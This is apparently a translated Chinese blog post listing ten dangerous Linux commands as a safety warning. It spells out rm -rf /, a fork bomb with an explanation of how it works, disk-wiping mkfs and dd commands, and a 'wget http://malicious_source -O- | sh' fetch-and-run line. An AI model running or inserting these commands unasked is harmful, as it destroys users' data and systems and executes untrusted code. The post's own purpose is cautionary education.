linux基礎(chǔ)命令大全,詳解Linux系...
640
2023-09-13
大多數(shù)的朋友都是主要用的windows系統(tǒng),基本用鼠標(biāo)就可以完成所有的操作,但是在Linux系統(tǒng)中很多都是鍵盤+命令操作電腦的,Linux命令行使用很有趣,但有時(shí)候也很危險(xiǎn),尤其是在你不確定你自己正在做什么時(shí)候。今天分享這篇主要的目的是想讓你意識(shí)到在你運(yùn)行某些命令時(shí)應(yīng)該三思而后行。
1. rm -rf 命令rm -rf命令是刪除文件夾及其內(nèi)容最快的方式之一。僅僅一丁點(diǎn)的敲錯(cuò)或無知都可能導(dǎo)致不可恢復(fù)的系統(tǒng)崩壞。
下列是一些rm 命令的選項(xiàng)。
rm -r 命令遞歸的刪除文件夾,甚至是空的文件夾。(譯注:個(gè)人認(rèn)為此處應(yīng)該是說錯(cuò)了,從常識(shí)看,應(yīng)該是“甚至是非空的文件夾”) rm -f 命令能不經(jīng)過詢問直接刪除‘只讀文件’。(譯注:Linux下刪除文件并不在乎該文件是否是只讀的,而只是在意其父目錄是否有寫權(quán)限。所以,-f這個(gè)參數(shù)只是表示不必一個(gè)個(gè)刪除確認(rèn),而是一律悄悄刪除。另外,原始的rm命令其實(shí)也是沒有刪除提示的,只是一般的發(fā)行版都會(huì)將rm通過別名的方式增加-i參數(shù)來要求刪除確認(rèn),而-f則抑制了這個(gè)提示。) rm -rf / : 強(qiáng)制刪除根目錄下所有東東。(就是說刪除完畢后,什么也沒有了……) rm -rf *: 強(qiáng)制刪除當(dāng)前目錄的所有文件。 rm -rf . : 強(qiáng)制刪除當(dāng)前文件夾及其子文件夾。無論什么時(shí)候,當(dāng)你要執(zhí)行rm -rf命令時(shí)都需要留心一點(diǎn)。建議在“.bashrc”文件對(duì)‘rm‘命令創(chuàng)建rm -i的別名,來預(yù)防用 ‘rm‘命令刪除文件時(shí)的事故,它會(huì)要求你確認(rèn)每一個(gè)刪除請(qǐng)求。
2. :(){:|:&};: 命令:() { : | : & };:說明:
:在這里是一個(gè)函數(shù)名,我們定義之,并在后面執(zhí)行它。
:|:&,:函數(shù)的輸出通過管道傳給另一個(gè)冒號(hào)函數(shù)作為輸入,并且在后臺(tái)執(zhí)行。
{ };標(biāo)識(shí)著里面的內(nèi)容是一個(gè)函數(shù)主體。
:為定義完成后的一次函數(shù)執(zhí)行。
這是個(gè)fork 炸彈的實(shí)例。具體操作是通過定義一個(gè)名為 ‘:‘的函數(shù),它會(huì)調(diào)用自己兩次,一次在前臺(tái)另一次運(yùn)行在后臺(tái)。它會(huì)反復(fù)的執(zhí)行下去直到系統(tǒng)崩潰。
原理解析
首先需要說明的是:是一個(gè)shell內(nèi)置命令,所以上面這段代碼只有在bash中才可能產(chǎn)生fork炸彈,因?yàn)樵谄渌恍﹕hell中,內(nèi)置命令的優(yōu)先級(jí)高于函數(shù),所以執(zhí)行:,總是執(zhí)行內(nèi)置命令。(:是一個(gè)空命令,while true等同于 while :,常用作占位符)
先來看看函數(shù)的主體:|:&,使用管道的時(shí)候是兩個(gè)進(jìn)程同時(shí)開始執(zhí)行。
所以當(dāng)執(zhí)行一個(gè):函數(shù)時(shí),產(chǎn)生兩個(gè)新進(jìn)程,然后一個(gè)原來的進(jìn)程退出,這樣不停地遞歸下去,就產(chǎn)生了一個(gè)無限遞歸。按照這個(gè)增長(zhǎng)模式的化,其增長(zhǎng)趨勢(shì)約為2n2n。
切記!千萬別在公司正式的服務(wù)器上實(shí)驗(yàn)~~
3. 命令>/dev/sda上列命令會(huì)將某個(gè)‘命令‘的輸出寫到塊設(shè)備/dev/sda中。該操作會(huì)將在塊設(shè)備中的所有數(shù)據(jù)塊替換為命令寫入的原始數(shù)據(jù),從而導(dǎo)致整個(gè)塊設(shè)備的數(shù)據(jù)丟失。
4. mv 文件夾 /dev/null這個(gè)命令會(huì)移動(dòng)某個(gè)‘文件夾‘到/dev/null。在Linux中 /dev/null 或 null 設(shè)備是一個(gè)特殊的文件,所有寫入它的數(shù)據(jù)都會(huì)被清除,然后返回寫操作成功。
(其實(shí)這就是Linux所說的黑洞,通過將文件夾移動(dòng)到黑洞,并不能阻止數(shù)據(jù)恢復(fù)軟件的恢復(fù),所以,真正的徹底毀滅,需要采用專用的軟件或者手法來完成)
上列命令會(huì)將User目錄所有內(nèi)容移動(dòng)到/dev/null,這意味著所有東西都被‘卷入’黑洞 (null)之中。
5. wget http://malicious_source -O- | sh上列命令會(huì)從一個(gè)(也許是)惡意源下載一個(gè)腳本并執(zhí)行。Wget命令會(huì)下載這個(gè)腳本,而sh會(huì)(無條件的)執(zhí)行下載下來的腳本。
注意: 你應(yīng)該時(shí)刻注意你下載包或腳本的源。只能使用那些從可信任的源中下載腳本/程序。
當(dāng)遇到這種需要時(shí),我一般做法是先wget下來,然后我去讀一讀其中到底寫了些什么,最后考慮是否執(zhí)行。
6. mkfs.ext3 /dev/sda上列命令會(huì)格式化塊設(shè)備‘sda’,在執(zhí)行上列命令后塊設(shè)備(硬盤驅(qū)動(dòng)器)會(huì)被格式化,嶄新的!
沒有任何數(shù)據(jù),直接讓你的系統(tǒng)達(dá)到不可恢復(fù)的階段。
切記!無論什么時(shí)候在生產(chǎn)都不能執(zhí)行上述命令!
7. >file上列命令常用來清空文件內(nèi)容(通常也用于記錄命令輸出。不過請(qǐng)?jiān)趫?zhí)行前,確認(rèn)輸出的文件是空的或者還不存在,否則原來的文件可真是恢復(fù)不了了)。
如果用上列執(zhí)行時(shí)輸入錯(cuò)誤或無知的輸入類似 “>xt.conf” 的命令會(huì)覆蓋配置文件或其他任何的系統(tǒng)配置文件。
8. ^foo^bar這個(gè)命令是用來編輯先前運(yùn)行的命令而無需重打整個(gè)命令。但當(dāng)用foobar命令時(shí)如果你沒有徹底檢查改變?cè)济畹娘L(fēng)險(xiǎn),這可能導(dǎo)致真正的麻煩。
事實(shí)上,這種小技巧是譯者認(rèn)為的,少數(shù)史前時(shí)代遺留下來的無用而有害的“黑客”技巧。
9. dd if=/dev/random of=/dev/sda上列命令會(huì)向塊設(shè)備sda寫入隨機(jī)的垃圾文件從而擦出數(shù)據(jù)。當(dāng)然!你的系統(tǒng)可能陷入混亂和不可恢復(fù)的狀態(tài)。
上面其實(shí)有提到mv到黑洞并不能徹底刪除數(shù)據(jù),那么這個(gè)命令就是給了你一個(gè)徹底刪除的方法!當(dāng)然為了保險(xiǎn)起見,你可以覆寫多次。
10. 隱藏命令下面的命令其實(shí)就是上面第一個(gè)命令 (rm -rf)。這里的代碼是隱藏在十六進(jìn)制里的,一個(gè)無知的用戶可能就會(huì)被愚弄。在終端里運(yùn)行下面命令可能會(huì)擦除你的根分區(qū)。
這個(gè)命令表明通常真正的危險(xiǎn)是隱藏的,不會(huì)被輕易的檢測(cè)到。你必須時(shí)刻留心你在做什么結(jié)果會(huì)怎樣。不要編譯/運(yùn)行從未知來源的代碼。
雖然有些命令是可以恢復(fù)回來的,但是誰都不想經(jīng)歷這個(gè)恢復(fù)的過程,不是嗎?所以,涉及到上面的命令一定要三思而后行!不過我們是搞技術(shù)的,是不是可以思考下怎么從技術(shù)上去避免這些命令呢?
后面會(huì)分享更多devops和DBA方面的內(nèi)容,感興趣的朋友可以關(guān)注一下~
發(fā)表評(píng)論
暫時(shí)沒有評(píng)論,來?yè)屔嘲l(fā)吧~